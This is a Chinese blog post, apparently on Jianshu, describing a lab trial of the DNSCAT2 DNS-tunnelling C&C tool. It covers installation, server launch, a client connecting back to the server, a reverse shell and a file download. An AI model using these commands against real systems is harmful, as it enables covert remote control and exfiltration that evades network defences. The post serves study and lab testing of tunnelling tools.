美文网首页
DNSCAT2试用

DNSCAT2试用

作者: 饿虎嗷呜 | 来源:发表于2020-11-02 15:26 被阅读0次

    DNSCAT2试用

    最近在研究DNS隧道技术,试用了一下DNSCAT2这个隧道软件,记录一下过程。

    下载与安装

    DNSCAT2有客户端和服务端之分。客户端由纯C编写,服务端使用的ruby。为了安装方便,我选择了Ubuntu18.4LTS来搭建DNSCAT 服务端。

    在操作系统安装成功后,首先安装一些依赖包(GCC, ruby):

    sudo apt-get update
    sudo apt-get install make
    sudo apt-get install build-essential
    sudo apt-get install ruby-dev
    

    下载DNSCAT2的源代码:

    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2/server/
    gem install bundler
    bundler install
    

    过程中可能需要安装一些ruby库。在我的搭建过程中,由于最开始安装的是mini版的Ubuntu Server,默认没有安装GCC,而salsa20sha3这些库是需要编译安装的,因此一直没有装成功。后面按照提示安装了makegcc之后,顺利地把server安装起来。

    接着安装文档中的描述将DNSCat2 Server运行起来,

    sudo ruby ./dnscat2.rb your.domain.name --secret=xxxx --security=open --no-cache
    

    由于是在内网做实验,我随便指定了一个域名。此外,秘钥需要记录下来,后续DNSCat client在连接时会有用到。

    在运行服务端时需要注意,本地的53端口会被占用,比如在Ubuntu18上,这个端口在回环地址127.0.0.53上被systemd-resolved占用了。默认情况下,server端地址是绑定在0.0.0.0,即本宿主机全部网络接口上,会和systemd-resolved冲突。实际上DNSCat只需要绑定在对外通讯的IP上因此可以在启动时指定IP:

    sudo ruby ./dnscat2.rb --dns 'host=172.17.1.47,port=53,domain=a.com,domain=b.com' --secret=xxxx --security=open --no-cache
    

    以上就是Server端的安装工作。下面是Client端要做的事情,比Server端要简单很多。

    Client端是纯C代码,无依赖,直接编译后即可运行。

    cd dnscat2/client/
    make
    ./dnscat --dns=server=172.17.1.47,port=53 --secret=xxxx
    

    客户端运行成功与服务端建立连接后会产生相关打印:

    $ ./dnscat --dns server=172.17.1.47,port=53 --secret=xxxx
    Creating DNS driver:
     domain = (null)
     host   = 0.0.0.0
     port   = 53
     type   = TXT,CNAME,MX
     server = 172.17.1.47
    
    ** Peer verified with pre-shared secret!
    
    Session established!
    
    

    使用

    作为一款C&C工具,在Client端连接上了以后,可以通过Server端执行一些命令对Client进行控制。

    DNSCAT使用window这个概念来标识不同的client,在服务端使用windows命令可以列举当前已连接上来的客户端。

    dnscat2> windows
    0 :: main [active]
      crypto-debug :: Debug window for crypto stuff [*]
      dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*]
      1 :: command (ubuntu-test) [encrypted and verified] [*]
    
    

    其中0是server端主控,1是我们刚才运行连接上来的客户端。

    dnscat2> session -i 1
    New window created: 1
    history_size (session) => 1000
    Session 1 Security: ENCRYPTED AND VERIFIED!
    (the security depends on the strength of your pre-shared secret!)
    This is a command session!
    
    That means you can enter a dnscat2 command such as
    'ping'! For a full list of clients, try 'help'.
    
    command (ubuntu-test) 1> 
    
    

    使用session -i id,进入到某个连接上来的client的session中,我们使用help命令,看一下dnscat支持的功能:

    command (ubuntu-test) 1> help
    
    Here is a list of commands (use -h on any of them for additional help):
    * clear
    * delay
    * download
    * echo
    * exec
    * help
    * listen
    * ping
    * quit
    * set
    * shell
    * shutdown
    * suspend
    * tunnels
    * unset
    * upload
    * window
    * windows
    

    使用shell命令创建一个反弹shell。这个反弹shell是创建了另外一个会话,我们需要使用ctrl + D退出当前会话,然后进入对应的反弹shell会话中:

    dnscat2> windows
    0 :: main [active]
      crypto-debug :: Debug window for crypto stuff [*]
      dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*]
      1 :: (not set) [cleartext] [*] [idle for 84 seconds]
      2 :: (not set) [cleartext] [*] [idle for 84 seconds]
      3 :: command (ubuntu-test) [encrypted and verified]
      4 :: sh (ubuntu-test) [encrypted and verified] [*]
    dnscat2> session -i 4
    New window created: 4
    history_size (session) => 1000
    Session 4 Security: ENCRYPTED AND VERIFIED!
    (the security depends on the strength of your pre-shared secret!)
    This is a console session!
    
    That means that anything you type will be sent as-is to the
    client, and anything they type will be displayed as-is on the
    screen! If the client is executing a command and you don't
    see a prompt, try typing 'pwd' or something!
    
    To go back, type ctrl-z.
    
    sh (ubuntu-test) 4> ls
    sh (ubuntu-test) 4> controller
    dnscat
    dnscat.c
    dnscat.o
    drivers
    libs
    Makefile
    Makefile.win
    tcpcat.c
    tunnel_drivers
    win32
    
    

    接下来就可以在这里使用shell命令了。

    此外dnscat2还提供了方便的上传下载命令即:downloadupload。在使用时需要知道对应文件的位置。

    command (ubuntu-test) 2> download /home/fred/2.txt
    Attempting to download /home/fred/2.txt to 2.txt
    command (ubuntu-test) 2> Wrote 28 bytes from /home/fred/2.txt to 2.txt!
    

    下载下来的文件会位于当前server脚本运行目录。

    总结

    本文总结了dnscat2的一些简单的安装和使用方法,仅供研究使用。

    相关文章

      网友评论

          本文标题:DNSCAT2试用

          本文链接:https://www.haomeiwen.com/subject/hzjmvktx.html